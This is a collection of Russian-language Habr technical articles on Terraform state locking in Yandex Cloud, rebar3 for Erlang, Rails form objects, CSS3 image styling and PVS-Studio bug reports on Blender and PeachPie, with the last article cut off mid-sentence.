# Блокировка состояний Terraform в Яндекс.Облаке Данный вопрос возник при миграции облачных ресурсов в Яндекс.Облако. [Официальная документация](https://cloud.yandex.ru/docs/tutorials/infrastructure-management/terraform-state-storage), к сожалению, не даёт ответа на этот счёт, как и гуглёж. Однако, можно применить подход, который используется в другом облачном провайдере - AWS. Для чего нужна блокировка состояний (state locking): когда с облаком работает более одного человека, необходимо предотвратить возможность одновременного изменения ресурсов разными людьми. Иначе есть вероятность, в лучшем случае, просто повредить state (а восстановление может занять довольно много времени), в худшем же - запороть продуктовый сервис. Подробнее можно прочесть в [документации](https://developer.hashicorp.com/terraform/language/state/locking). В AWS [вопрос блокировок решается](https://developer.hashicorp.com/terraform/language/settings/backends/s3) через таблицу DynamoDB. В Яндекс.Облаке есть аналогичный сервис - Yandex Managed Service for YBD (далее просто YDB). Предполагается, что у нас уже создан создан бакет в Object Storage, и есть сервисный аккаунт с правами записи в этот бакет. Назначим этому сервисному аккаунту роль для работы с YDB ``` yc resource-manager folder add-access-binding \ --role ydb.editor \ --subject serviceAccount: ``` Теперь создадим базу данных: ``` yc ydb database create terraform-state-lock --serverless ``` Далее создадим таблицу. Для этого есть два пути: 1. через вэб-интерфейс: 1. в дашборде Managed Service for YDB![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/9b7/c67/86a/9b7c6786aff5f8c604f139ccca3aec77.png)2. база "terraform-state-lock"![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/097/e45/011/097e450113d8058ebb4e2a057aad223f.png)3. Навигация![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/035/a84/a4a/035a84a4aed528a4d92eea3c00ed9624.png)4. Создать таблицу![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/2a3/8e1/941/2a38e19417dbe24dc47e9517057d345b.png)5. Тип: документная, колонка "LockID" типа String которая будет ключем партицирования![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/185/26f/4d6/18526f4d6fd0c83ee340da0c06d44f86.png)2. c помощью [AWS CLI](https://cloud.yandex.ru/docs/storage/tools/aws-cli), указав Document API эндпоинт базы данных (посмотреть можно на главной странице базы. Имеет вид *https://docapi.serverless.yandexcloud.net/ru-central1//*) ``` aws dynamodb create-table \ --table-name terraform-state-lock \ --attribute-definitions \ AttributeName=LockID,AttributeType=N \ --key-schema \ AttributeName=LockID,KeyType=HASH \ --endpoint ``` Остаётся только обновить настройки terraform backend, добавив параметры: ``` dynamodb_endpoint = "" dynamodb\_table = "tettaform-state-lock" ``` И выполнить реконфигурацию: ``` terraform init -reconfigure ``` Теперь, пока кто-то выполняет операции записи в бэкенд (terraform apply/delete), все остальные будут получать ошибку вида: ``` terraform apply -target=module.test ╷ │ Error: Error acquiring the state lock │ │ Error message: ConditionalCheckFailedException: Condition not satisfied │ Lock Info: │ ID: <...> │ Path: <...> │ Operation: OperationTypeApply │ Who: <...> │ Version: 1.3.7 │ Created: <...> │ Info: │ │ │ Terraform acquires a state lock to protect the state from being written │ by multiple users at the same time. Please resolve the issue above and try │ again. For most commands, you can disable locking with the "-lock=false" │ flag, but this is not recommended. ``` На этом всё. Надеюсь, данную инструкцию многие найдут полезной.
https://habr.com/ru/post/711982/
null
ru
null
# Использование rebar3 для управления проектами на Erlang ![](https://hsto.org/files/718/622/e0c/718622e0c9ed4820b4383a4b6c2217f5.png) Rebar3 — это инструмент для языка программирования Erlang, который позволяет легко и удобно управлять проектами, написанными на Erlang (иногда и на Elixir). Люди уже давно знакомые с Erlang знают старый rebar и, возможно даже, до сих пор его используют. Многим (особенно тем, кто пришел из других языков с гораздо более развитой экосистемой) rebar не нравится и время от времени его там и тут называют "позорной подделкой", которую можно было бы заменить скриптом на Perl. К счастью много работать с rebar мне не приходилось (в отличие от автора выше приведенных слов), но с базовыми вещами rebar справлялся довольно-таки неплохо. Но "неплохо" — это не "хорошо". Несогласных с таким положением дел (с "неплохо") оказалось немало и потому решили они дать арматуре вторую жизнь в виде проекта `rebar3`, который нынче активно развивается. Над проектом среди прочих работает небезызваестный сир Фред Хеберт, который подарил миру книгу "Изучай Erlang во имя добра!". Своей задачей в этой статья я ставлю привлечение внимания к `rebar3`. Уже знакомые с `rebar/rebar3` в статье найдут не много нового, но новичкам в мире Erlang может быть интересно. Мы будем говорить о том, как стартовать с `rebar3` (установка, компиляция и т.п). ### Уставнока rebar3 По части установки у нас есть две пути: 1. Cкачать уже скопилированный файл `rebar3`. 2. Cобрать все самому из исходного кода. Чтобы никого не обдиеть я покажу оба способа, а какой лучше — решать вам. Способ первый: ``` ➜ ~ wget https://s3.amazonaws.com/rebar3/rebar3 && chmod +x rebar3 ``` Способ второй: ``` ➜ ~ git clone https://github.com/erlang/rebar3.git ➜ cd rebar3 ➜ ./bootstrap ``` Теперь необходимо добавить путь к файлу в переменную окружения `$PATH`. Делается это следующим образом: ``` ➜ ./rebar3 local install ===> Extracting rebar3 libs to ~/.cache/rebar3/lib... ===> Writing rebar3 run script ~/.cache/rebar3/bin/rebar3... ===> Add to $PATH for use: export PATH=$PATH:~/.cache/rebar3/bin ``` После этого выполните команду, которую вас просят ввести либо добавьте эту строку в ваш `*rc` файл (`~/.zshrc`, `~/.bashrc`). Например так: ``` ➜ ~ echo "export PATH=$PATH:~/.cache/rebar3/bin" >> ~/.zshrc ``` ### Первое приложение Rebar3 (как и большинство уважающих себя инструментов управления проектами) позволяет создавать макет приложения из уже готовых шаблонов. Отмечу, что rebar3 создает структуру только для OTP приложения. Ниже приведен список доступных шаблонов, переводить описание которых я не вижу смысла. ``` app: Complete OTP Application structure. cmake: Standalone Makefile for building C/C++ in c_src escript: Complete escriptized application structure plugin: Rebar3 plugin project structure release: OTP Release structure for executable programs lib: Complete OTP Library application (no processes) structure ``` Нас интересует только `app` и создавать свое приложение мы будем на основе этого шаблона: ``` ➜ ~ rebar3 new app habrapp ===> Writing habrapp/src/habrapp_app.erl ===> Writing habrapp/src/habrapp_sup.erl ===> Writing habrapp/src/habrapp.app.src ===> Writing habrapp/rebar.config ===> Writing habrapp/.gitignore ===> Writing habrapp/LICENSE ===> Writing habrapp/README.md ``` Шаблон создан. Теперь давайте посмотрим на структуру проекта: ``` ➜ ~ cd habrapp ➜ ~/habrapp tree . ├── LICENSE ├── README.md ├── rebar.config └── src ├── habrapp_app.erl ├── habrapp.app.src └── habrapp_sup.erl ``` Обычная структурая приложения Erlang. Что хотелось бы сказать, забегая вперед, так это то, что `rebar.config` используется для хранения метаданных о приложении (в том числе и данных о зависимостях) Если вы любитель интерактивности, то и тут rebar3 вас не подведет. Вы сможете с легкостью перейти в shell-mode: ``` ➜ ~/habrapp rebar3 shell ===> Fetching rebar3_hex ({pkg,<<"rebar3_hex">>,<<"3.0.0">>}) ===> Downloaded package, caching at /home/lk/.cache/rebar3/hex/default/packages/rebar3_hex-3.0.0.tar ===> Compiling rebar3_hex ===> Verifying dependencies... ===> Compiling habrapp Erlang/OTP 18 [erts-7.3] [source] [64-bit] [smp:4:4] [async-threads:0] [kernel-poll:false] Eshell V7.3 (abort with ^G) 1> application:start(habrapp). ok 2> application:stop(habrapp). =INFO REPORT==== 19-Jan-2017::14:03:38 === application: habrapp exited: stopped type: temporary ok ``` Кстати говоря, теме shell посвящена целая статья на [сайте](http://ferd.ca/rebar3-shell.html) у Фреда Хеберта. ### Установка и удаление пакетов Первое, что нам необходимо сделать, так это установить плагин для `rebar3`, который называется [rebar3\_hex](https://github.com/hexpm/rebar3_hex). Для этого нам нужно отредактировать файл `rebar.config` и добавить в кортеж рядом с тегом `plugin` название нужного нам плагина в виде атома: `{plugins, [rebar3_hex]}.` После этого делаем следующее: ``` ➜ ~/habrapp rebar3 update ===> Fetching rebar3_hex ({pkg,<<"rebar3_hex">>,<<"3.1.0">>}) ===> Downloaded package, caching at /home/lk/.cache/rebar3/hex/default/packages/rebar3_hex-3.1.0.tar ===> Compiling rebar3_hex ===> Updating package registry... ===> Writing registry to /home/lk/.cache/rebar3/hex/default/registry ===> Generating package index... ===> Writing index to /home/lk/.cache/rebar3/hex/default/packages.idx ``` Здесь rebar3 берет информацию из нашего файла `rebar.config`. И если вы не хотите постоянно добавлять `{plugins, [rebar3_hex]}.` в ваши `rebar.config` файлы, то добавьте его в глобальный конфигурационный файл rebar3, который расположен по адресу `~/.config/rebar3/rebar.config` и rebar3 будет автоматически брать все из глобального файла конфигурации. Если ваш проект работает на основе какого-то другого проекта, то вы сможете получить его (при условии, что он есть в hex.pm). Поиск проектов осуществляется очень просто: ``` ➜ ~/habrapp rebar3 hex search smokkfiskur smokkfiskur: 0.1.1, 0.1.2, 0.1.3 ``` После того, как мы убедились, что проект, который мы ищем существует мы можем его получить. Для этого нам необходимо отредактировать файл `rebar.config` (не глобальный) и рядом с меткой `deps` указать название нужного пакета (да, в виде атома). ``` {deps, [smokkfiskur, mochiweb]}. ``` При желании можно добавить немного конкретики: ``` {deps, [{smokkfiskur, "0.1.3"}, {mochiweb, "2.15.0"}]}. ``` Представим, что в нашем проекте мы используем `smokkfiskur` и `mochiweb`. Все, что нам нужно, чтобы получить зависимости — это выполнить `rebar3 compile`: ``` ➜ ~/habrapp rebar3 compile ===> Verifying dependencies... ===> Fetching mochiweb ({pkg,<<"mochiweb">>,<<"2.15.0">>}) ===> Downloaded package, caching at /home/lk/.cache/rebar3/hex/default/packages/mochiweb-2.15.0.tar ===> Fetching smokkfiskur ({pkg,<<"smokkfiskur">>,<<"0.1.3">>}) ===> Downloaded package, caching at /home/lk/.cache/rebar3/hex/default/packages/smokkfiskur-0.1.3.tar ===> Compiling mochiweb ===> Compiling smokkfiskur ===> Compiling habrapp ``` Посмотреть зависимости проще, чем набрать `pip freeze` (ну почти, ± 1 символ): ``` ➜ ~/habrapp rebar3 deps mochiweb* (package) smokkfiskur* (package) ``` Удалить пакеты так же не составит труда. Вам нужно просто убрать название проекта из списка `{deps, [smokkfiskur]}` и набрать команды, что приведены ниже: ``` ➜ ~/habrapp rebar3 unlock ➜ ~/habrapp rebar3 deps smokkfiskur* (package) ``` Удалить все скомпилированные `*.beam` файлы из проекта можно командой `clean`. ``` ➜ rebar3 clean ``` ### Работа с документацией Документация немаловажная часть любого проекта и удобная работа с ней очень важна. Что может быть удобнее простой команды `rebar3 edoc`, которая генерирует документацию? ``` ➜ ~/habrapp rebar3 edoc ===> Linking _build/default/plugins/rebar3_hex to _build/docs/plugins/rebar3_hex ===> Verifying dependencies... ===> Linking _build/default/lib/smokkfiskur to _build/docs/lib/smokkfiskur ===> Compiling habrapp ===> Running edoc for habrapp ``` ### Тестирование Rebar3 позволяет запускать как Eunit тесты, так и Common Tests. Тесты для нашего приложения мы не написали, однако как их запускать мы все же посмотрим. ``` ➜ ~/habrapp rebar3 ct ➜ ~/habrapp rebar3 eunti ``` Посмотреть покрытие кода тестами можно так: ``` ➜ rebar3 cover ``` ### Дистрибьюция Распостранение пакетов является немаловажным и с этим нам поможет плагин `rebar3_hex`, с которым мы уже имели дело. Нам нужно иметь аккаунт на hex.pm, чтобы опубликовать там пакет. Зарегистрировать его очень просто и сделать это можно прямо в консоли. ``` ➜ ~/habrapp rebar3 hex user register By registering an account on Hex.pm you accept all our policies and terms of service found at https://hex.pm/policies Username: ([])> ``` После того, как с регистрацией покончено, вы сможете опубликовать свой проект на hex.pm командой `publish`. ``` ➜ ~/habrapp rebar3 hex publish ===> Verifying dependencies... Publishing habrapp 0.1.0 Description: An OTP application Dependencies: smokkfiskur 0.1.3 Included files: /home/lk/habrapp/LICENSE /home/lk/habrapp/README.md /home/lk/habrapp/rebar.config /home/lk/habrapp/rebar.lock /home/lk/habrapp/src/habrapp.app.src /home/lk/habrapp/src/habrapp_app.erl /home/lk/habrapp/src/habrapp_sup.erl Maintainers: Licenses: Links: Build tools: rebar3 Before publishing, please read Hex CoC: https://hex.pm/policies/codeofconduct Proceed? ("Y")> n Goodbye... ``` Вам нужно ввести `Y`, если вы публикует что-то более осмысленное, чем шаблон. Мы с вами не будем публиковать наше никчемное приложение и портить девственную чистоту этого хранилища пакетов. ### Плюшка Для счастливчиков работающих в среде `*nix` дополнительно имеется приятная плюшка в виде автоматического дополнения вводимых команд для `zsh`. Найти плагин вы сможете [тут](https://github.com/erlang/rebar3/tree/master/priv/shell-completion/zsh). ### Ссылки * Hex.pm: [тут](http://hex.pm). * Статья Фреда Херберта: [тут](http://ferd.ca/rebar3-shell.html). * Сайт `rebar3` и документация: [тут](https://www.rebar3.org/). * Репозиторий `rebar3`: [тут](https://github.com/erlang/rebar3). * Статья достопочтенного А. Алексева: [тут](http://eax.me/erlang-one-year/). Вот собственно и все, что я хотел рассказать. Спасибо за внимание!
https://habr.com/ru/post/319950/
null
ru
null
# Управление сложностью в проектах на ruby on rails. Часть 3 В [предыдущей части](https://habrahabr.ru/post/267233/) я рассказал про контроллеры и роутинг. Теперь поговорим про формы. Довольно часто требуется реализовать формы, которым не соответствует ни одна модель. Или добавить валидацию, которая имеет смысл только в конкретном бизнес-процессе. Я расскажу про 2 типа форм: form-objects и types. Объкты-формы используются для обработи и валидации пользовательского ввода, когда данные нужны для какой-либо операции. Например, вход пользователя в систему или фильтрация данных. Types используются, если нужно расширить поведение модели. Например, в вашем проекте пользователи могут регистрироваться как через vkontakte, так и через обычную форму. Заполнение email обязательно для обычных пользователей, а для vk пользователей — нет. Такое поведение легко решается с помощью types. Form-objects ------------ В RoR проектах формы жестко завязаны на модели. Отрендерить сложную форму без объекта-модели практически невозможно да и не удобно. Поэтому объекты-формы расширяются с помощью [ActiveModel::Model](http://api.rubyonrails.org/classes/ActiveModel/Model.html). Таким образом, формы — это модели без поддержки persistence (не сохраняются в БД). Соответственно, мы получим бесшовную интеграцию с билдером форм, валидации, локализацию. Для удобства работы объекты-формы также используют [gem virtus](https://github.com/solnic/virtus). Он берет на себя приведение типов, выставляет значения по умолчанию. Например, если из формы приходит дата в строковом представлении, то virtus автоматически преобразует ее в дату. ``` # Базовый класс для всех форм # app/forms/base_form.rb class BaseForm include Virtus.model(strict: true) include ActiveModel::Model end # app/forms/user/statistics_filter_form.rb class User::StatisticsFilterForm < BaseForm attribute :start_date, ActiveSupport::TimeWithZone, default: ->(*) { DateTime.current.beginning_of_month } attribute :end_date, ActiveSupport::TimeWithZone, default: ->(model, _) { model.start_date.next_month } end # app/controllers/web/users/statistics_controller.rb class Web::Users::StatisticsController < Web::Users::ApplicationController def show # тут не обязательно использовать permits, т.к. это актуально только для active_record моделей @filter_form = User::StatisticsFilterForm.new params[:user_statistics_filter_form] @statistics = UserStatisticsQuery.perform resource_user, @filter_form.start_date, @filter_form.end_date end end = simple_form_for @filter_form, method: :get, url: {} do |f| = f.input :start_date, as: :datetime_picker = f.input :end_date, as: :datetime_picker = f.button :submit ``` Рассмотрим ситуацию посложнее. У нас есть форма входа в систему с двумя полями: email и password. Поля обязательны для заполнения. Также если пользователь не найден или пароль не подошел, должна выводиться соответствующая ошибка. ``` # app/forms/session_form.rb class SessionForm < BaseForm attribute :email attribute :password validates :email, email: true validates :password, presence: true # добавляем валидацию для случая, если пользователь не найден или пароль не подошел validate do errors.add(:base, :wrong_email_or_password) unless user.try(:authenticate, password) end def user @user ||= User.find_by email: email end end # app/controllers/web/sessions_controller.rb class Web::SessionsController < Web::ApplicationController def new @session_form = SessionForm.new end def create @session_form = SessionForm.new session_form_params # форма берет на себя всю валидацию if @session_form.valid? sign_in @session_form.user redirect_to root_path else render :new end end private def session_form_params params.require(:session_form).permit(:email, :password) end end ``` В этом примере форма берет на себя все заботы о валидации входных данных, контроллер не содержит лишней логики, а модель только проверяет пароль. С таким подходом очень просто реалиовать дополнительный функционал: вывести чекбокс "запомнить меня", блокировать пользователей из черного списка. Types ----- Если я не ошибаюсь, Types пришли из symfony. Type — это наследник модели, который выдает себя за родителя и добавляет новый функционал. Рассмотрим такую задачу: пользователи приложения могут приглашать пользователей только рангом ниже себя. Также приглашающий не должен знать пароль приглашаемого. Список ролей пользователей, которые можно назначить новому пользователю определяются политикой. В части про ACL я подробнее об этом расскажу. ``` module BaseType extend ActiveSupport::Concern class_methods do def model_name superclass.model_name end end end class InviteType < User include BaseType after_initialize :generate_password, if: :new_record? validates :role, inclusion: { in: :available_roles } validates :inviter, presence: true # приглашающий def policy InvitePolicy.new(inviter, self) end def available_roles policy.available_roles end def available_role_options User.role.options.select{ |option| option.last.in? available_roles } end private def generate_password self.password = SecureRandom.urlsafe_base64(6) end end ``` InviteType проверяет наличие приглашающего, генерирует пароль и ограничивает список доступных ролей. Подробнее остановлюсь на BaseType. Он переопределяет метод model\_name, чтобы type воспринимался как родительский объект. Не стоит переопределять метод name, т.к. ruby из-за этого сносит крышу. Тут есть тонкость при работе с STI: нужно дополнительно переопределить метод sti\_name. Имея объекты-формы и types удобно трансформировать данные, поступающие из формы. Например, в форме есть 2 поля: затраченно часов, затрачено минут, а модель хранит затраченное время в секундах. ``` class CommentType < Comment include BaseType # some code def elapsed_time_hours TimeConverter.convert_to_time(elapsed_time.to_i)[:hours] end def elapsed_time_hours=(v) update_elapsed_time v.to_i, elapsed_time_minutes end def elapsed_time_minutes TimeConverter.convert_to_time(elapsed_time.to_i)[:minutes] end def elapsed_time_minutes=(v) update_elapsed_time elapsed_time_hours, v.to_i end private def update_elapsed_time(hours, minutes) self.elapsed_time = TimeConverter.convert_to_seconds(hours: hours, minutes: minutes) end end ``` **ПС.** Статья была написана больше года назад и просто пролежала в архиве. За это время я выложил в общий доступ [проект](https://github.com/solidgem/corporate), на основе которого писался этот цикл статей. Некоторые вещи я бы сделал иначе, тем не менее в нем есть интересные и актуальные решения.
https://habr.com/ru/post/321034/
null
ru
null
# Оформление изображений на CSS3 При использовании свойств box-shadow или border-radius непосредственно на изображении, браузеры могут некорректно отображать заданные нами CSS стили, из-за чего внешний вид блока будет существенно отличаться от задуманного. Однако если использовать изображение в качестве фона, то этой проблемы можно запросто избежать. Из статьи вы узнаете, как с помощью jQuery сделать идеально закругленные углы у изображений, а так же какие еще способы оформления возможны с помощью таких свойств как box-shadow, border-radius и transition. *[Смотреть демо](http://webdesignerwall.com/demo/css3-image-styles/)* ### Проблема Из приведенного ниже примера становится понятно, с какими трудностями мы можем столкнуться при применении css-свойств на изображении. Кроме того каждый браузер отображает готовый элемент по-своему. Firefox не хочет делать углы скругленными, но тень к элементу добавляет, а Chrome или Safari отказываются делать и то и другое. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c08/93e/608/c0893e60864357e182792b39cadb419c.jpg) ### Решение Чтобы все свойства работали корректно и во всех браузерах, необходимо использовать изображение в качества фона. ``` ``` ### Добавление динамики Для добавления динамики нужно использовать небольшой jQuery скрипт, который будет оборачивать исходное изображение в тег span со стилем image-wrap. Так же применение скрипта сделает наше исходное изображение фоновым и задаст его ширину и высоту. ``` $(document).ready(function(){ $("img").load(function() { $(this).wrap(function(){ return '<span class="image-wrap ' + $(this).attr('class') + '" style="position:relative; display:inline-block; background:url(' + $(this).attr('src') + ') no-repeat center center; width: ' + $(this).width() + 'px; height: ' + $(this).height() + 'px;" />'; }); $(this).css("opacity","0"); }); }); ``` После применения мы получим следующий результат: ``` ![](image.jpg) ``` ### Примеры (смотреть [демо](http://webdesignerwall.com/demo/css3-image-styles/)) Теперь, когда изображение используется в качестве фона, к элементу можно добавить любой стиль. Ниже приведены примеры скругления углов у изображений, создание эффекта окружности, добавление теней и другие приемы оформления. **Эффект окружности** Простой эффект с созданием окружности. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/99d/d94/5da/99dd945da1d7a1a78106f1f7a3f8defa.jpg)
https://habr.com/ru/post/129313/
null
ru
null
# Как PVS-Studio защищает от поспешных правок кода, пример N2 ![Ошибка в Blender, PVS-Studio](https://habrastorage.org/r/w1560/getpro/habr/post_images/69e/24a/9c9/69e24a9c95f5d4cbd85e6e9e04f3ae2c.png) Большое количество ошибок программистами допускается просто по невнимательности или из-за спешки. Хорошо это видно на небольших неправильных изменениях, вносимых в код. Рассмотрим как раз такой случай, когда, исправляя одну ошибку, программист добавляет новую. ![Ошибка в Blender, PVS-Studio, подробно](https://habrastorage.org/r/w1560/getpro/habr/post_images/f11/a5d/ddb/f11a5dddbb800cb9c51caeafdd46b44b.png) Собственно, всё уже видно на приведённой картинке. В принципе, дальше можно и не читать :). Но рассказать, что к чему, мне всё равно хочется, и я это сделаю. Ещё в том году я [начал мониторить](https://pvs-studio.com/ru/blog/posts/cpp/0807/) с помощью анализатора PVS-Studio открытый проект Blender. Но как выяснилось, я оказался достаточно ленив в этом деле. Проект активно развивается, и мне на почту постоянно приходят уведомления про предупреждения, относящиеся к новому коду. А у меня то совещание, то написание какой-то статьи, то ещё что-то. Получалось, что обычно я вообще пропускал эти уведомления :(. Как результат, за тот год я написал всего пару заметок про свежие ошибки, хотя можно было бы написать намного больше. Вчера смотрю, пришло письмо с двумя предупреждениями. Ну ладно, думаю, дай посмотрю, пока минутка есть. Одно предупреждение не очень интересное, зато второе – прямо конфетка. Ну что же, надо побороть лень и описать, как PVS-Studio может помогать выявлять ошибки при регулярном использовании :). Итак, @Antonioya сделал коммит из двух строчек, чтобы исправить баг: [Fix T94903: GPencil: Copying keys doesn't preserve Keyframe Type](https://github.com/blender/blender/commit/86b7746e3c31f55425016ade1ec5cee05fdfcb05#diff-dcde9338c1746f011332e27637c4b72f1c839dc4406cbfa992152bff1de52f06). Он поспешил и не заметил, что указатель может быть нулевым. Об этом свидетельствует проверка указателя на равенство *nullptr*: ``` gpf->key_type = gpfs->key_type; if (gpf) { ``` В свою очередь анализатор PVS-Studio заметил аномалию и выдал предупреждение: [V595](https://pvs-studio.com/ru/docs/warnings/v595/) [CWE-476]: The 'gpf' pointer was utilized before it was verified against nullptr. Check lines: 458, 459. editaction\_gpencil.c Вот так сразу можно заметить многие ляпы и сократить время на их исправление. Намного проще найти и исправить ошибку самому программисту, чем возвращаться к этому коду, когда баг выявят тестировщики или пользователи. P.S. Хотел вначале назвать статью просто "Как PVS-Studio защищает от поспешных правок кода", но оказывается, [такая статья уже есть](https://pvs-studio.com/ru/blog/posts/cpp/0817/) и пришлось приписать "пример N2". Думаю, со временем количество таких статей будет увеличиваться. Спасибо за внимание, и попробуйте внедрить [PVS-Studio](https://pvs-studio.com/pvs-studio/try-free/?utm_source=example_n2&utm_medium=articles&utm_term=link_try-free) в свой процесс разработки. Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [How PVS-Studio prevents rash code changes, example N2](https://habr.com/en/company/pvs-studio/blog/646183/).
https://habr.com/ru/post/646227/
null
ru
null
# PHP – компилируемый язык?! PVS-Studio ищет ошибки в PeachPie ![](https://habrastorage.org/r/w780q1/webt/qh/bk/gs/qhbkgsxgbuebwyyn9tkhiruq8tg.jpeg) PHP широко известен как интерпретируемый язык программирования, использующийся в основном для разработки сайтов. Однако немногие знают, что для PHP есть ещё и компилятор под .NET — PeachPie. Но вот насколько он качественно сделан? Сможет ли статический анализатор найти в этом компиляторе реальные ошибки? Давайте же узнаем! Давненько не выходили статьи о проверках C#-проектов с помощью PVS-Studio… А ведь нам ещё составлять топ ошибок за 2021 год (топ за 2020 год, кстати, можно глянуть [тут](https://pvs-studio.com/ru/blog/posts/csharp/0787/))! Что ж, нужно срочно исправляться. Я рад представить вам обзор результатов проверки [PeachPie](https://www.peachpie.io/). ![0855_Peachpie_check_ru/image2.png](https://habrastorage.org/r/w1560/getpro/habr/post_images/9f7/27e/0f1/9f727e0f1afd35befa0e13309bf27459.png) Для начала немного расскажу о проверяемом проекте. PeachPie — это современный компилятор языка PHP с открытым исходным кодом и среда выполнения для .NET Framework и .NET. Он построен на платформе компилятора Microsoft Roslyn и основан на проекте [Phalanger](https://github.com/DEVSENSE/Phalanger) первого поколения. С июля 2017 года данный проект также входит в [.NET Foundation](https://dotnetfoundation.org/). Исходный код доступен в [репозитории на GitHub](https://github.com/peachpiecompiler/peachpie). Кстати, наш C#-анализатор тоже широко использует возможности [Roslyn](https://github.com/dotnet/roslyn), так что можно сказать, что у PeachPie и PVS-Studio есть что-то общее :). Вообще основам работы с Roslyn посвящена целая [статья](https://pvs-studio.com/ru/blog/posts/csharp/0399/), написанная как раз на основе нашего опыта работы с этой платформой. Для проведения же проверки PeachPie нужно было установить анализатор, открыть проект в Visual Studio или Rider и запустить анализ, используя плагин PVS-Studio. Подробнее об этом написано в [документации](https://pvs-studio.com/ru/docs/). Проверять такой большой и серьёзный проект было очень интересно. Надеюсь, что мой обзор найденных в PeachPie ошибок вам покажется не менее интересным. Приятного чтения! Проблемы с WriteLine -------------------- Начнём, пожалуй, с простого :) Порой ошибки могут возникать в самых неожиданных и при этом самых простых местах. Например, ошибка может оказаться даже в банальном вызове функции *WriteLine*: ``` public static bool mail(....) { // to and subject cannot contain newlines, replace with spaces to = (to != null) ? to.Replace("\r\n", " ").Replace('\n', ' ') : ""; subject = (subject != null) ? subject.Replace("\r\n", " ").Replace('\n', ' ') : ""; Debug.WriteLine("MAILER", "mail('{0}','{1}','{2}','{3}')", to, subject, message, additional_headers); var config = ctx.Configuration.Core; .... } ``` Предупреждение [V3025](https://pvs-studio.com/ru/w/v3025/): Incorrect format. A different number of format items is expected while calling 'WriteLine' function. Arguments not used: 1st, 2nd, 3rd, 4th, 5th. Mail.cs 25 Казалось бы, а что же тут не так? Вроде бы всё выглядит нормально. Хотя, постойте-ка! А каким по порядку аргументом нужно передавать формат? Что ж, давайте взглянем на объявление *Debug.WriteLine*: ``` public static void WriteLine(string format, params object[] args); ``` Получается, что строка формата должна передаваться первым аргументом, а в коде первым аргументом является *"MAILER"*. Очевидно, разработчик перепутал методы и передал аргументы некорректным образом. Одинаковые case в switch ------------------------ Очередной раздел посвящается срабатываниям, связанным с выполнением одинаковых действий в разных case-ветках: ``` private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(....) { var result = FlowAnalysisAnnotations.None; foreach (var attr in attributes) { switch (attr.AttributeType.FullName) { case "System.Diagnostics.CodeAnalysis.AllowNullAttribute": result |= FlowAnalysisAnnotations.AllowNull; break; case "System.Diagnostics.CodeAnalysis.DisallowNullAttribute": result |= FlowAnalysisAnnotations.DisallowNull; break; case "System.Diagnostics.CodeAnalysis.MaybeNullAttribute": result |= FlowAnalysisAnnotations.MaybeNull; break; case "System.Diagnostics.CodeAnalysis.MaybeNullWhenAttribute": if (TryGetBoolArgument(attr, out bool maybeNullWhen)) { result |= maybeNullWhen ? FlowAnalysisAnnotations.MaybeNullWhenTrue : FlowAnalysisAnnotations.MaybeNullWhenFalse; } break; case "System.Diagnostics.CodeAnalysis.NotNullAttribute": result |= FlowAnalysisAnnotations.AllowNull; break; } } } ``` В данном фрагменте закралась если не ошибка, то как минимум странность. Как быстро вы сможете её найти? Впрочем, ни к чему терять время, анализатор всё нашёл за нас: ``` private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(....) { var result = FlowAnalysisAnnotations.None; foreach (var attr in attributes) { switch (attr.AttributeType.FullName) { case "System.Diagnostics.CodeAnalysis.AllowNullAttribute": result |= FlowAnalysisAnnotations.AllowNull; break; .... case "System.Diagnostics.CodeAnalysis.NotNullAttribute": result |= FlowAnalysisAnnotations.AllowNull; // <= break; } } } ``` Предупреждение [V3139](https://pvs-studio.com/ru/w/v3139/): Two or more case-branches perform the same actions. ReflectionUtils.Nullability.cs 170 Не правда ли, странно, что два разных случая обрабатываются одинаково? На самом деле нет, в принципе такое бывает достаточно часто. Однако есть 2 "но". В первую очередь стоит отметить, что существует более элегантный способ одинаково обработать два различных случая. Рассмотренный фрагмент можно было бы записать как-то так: ``` switch (attr.AttributeType.FullName) { case "System.Diagnostics.CodeAnalysis.AllowNullAttribute": case "System.Diagnostics.CodeAnalysis.NotNullAttribute": result |= FlowAnalysisAnnotations.AllowNull; break; .... } ``` Тем не менее, разработчики нередко пренебрегают этим удобным способом, предпочитая копипаст. Из-за этого наличие двух одинаковых веток само по себе не кажется таким уж страшным. Куда более подозрительным выглядит тот факт, что перечисление *FlowAnalysisAnnotations* имеет среди прочих значение *FlowAnalysisAnnotations.NotNull*. Складывается впечатление, что именно оно должно было использоваться при обработке значения *"System.Diagnostics.CodeAnalysis.NotNullAttribute"*: ``` switch (attr.AttributeType.FullName) { case "System.Diagnostics.CodeAnalysis.AllowNullAttribute": result |= FlowAnalysisAnnotations.AllowNull; break; .... case "System.Diagnostics.CodeAnalysis.NotNullAttribute": result |= FlowAnalysisAnnotations.NotNull; // <= break; } ``` Иммутабельный DateTime ---------------------- Разработчики [частенько допускают ошибки](https://pvs-studio.com/ru/blog/examples/v3010/), связанные с неверным пониманием особенностей работы "изменяющих" методов. Ниже же представлена ошибка, найденная в PeachPie: ``` using System_DateTime = System.DateTime; internal static System_DateTime MakeDateTime(....) { .... } public static long mktime(....) { var zone = PhpTimeZone.GetCurrentTimeZone(ctx); var local = MakeDateTime(hour, minute, second, month, day, year); switch (daylightSaving) { case -1: if (zone.IsDaylightSavingTime(local)) local.AddHours(-1); // <= break; case 0: break; case 1: local.AddHours(-1); // <= break; default: PhpException.ArgumentValueNotSupported("daylightSaving", daylightSaving); break; } return DateTimeUtils.UtcToUnixTimeStamp(TimeZoneInfo.ConvertTime(local, ....)); } ``` Предупреждения PVS-Studio: * [V3010](https://pvs-studio.com/ru/w/v3010/) The return value of function 'AddHours' is required to be utilized. DateTimeFunctions.cs 1232 * [V3010](https://pvs-studio.com/ru/w/v3010/) The return value of function 'AddHours' is required to be utilized. DateTimeFunctions.cs 1239 Анализатор сообщает, что результаты вызовов должны куда-нибудь записываться – в противном случае они попросту не имеют никакого смысла. Дело в том, что методы вроде *AddHours* не меняют исходный объект – вместо этого возвращается новый, отличающийся от исходного соответствующим образом. Сложно сказать, насколько критична эта 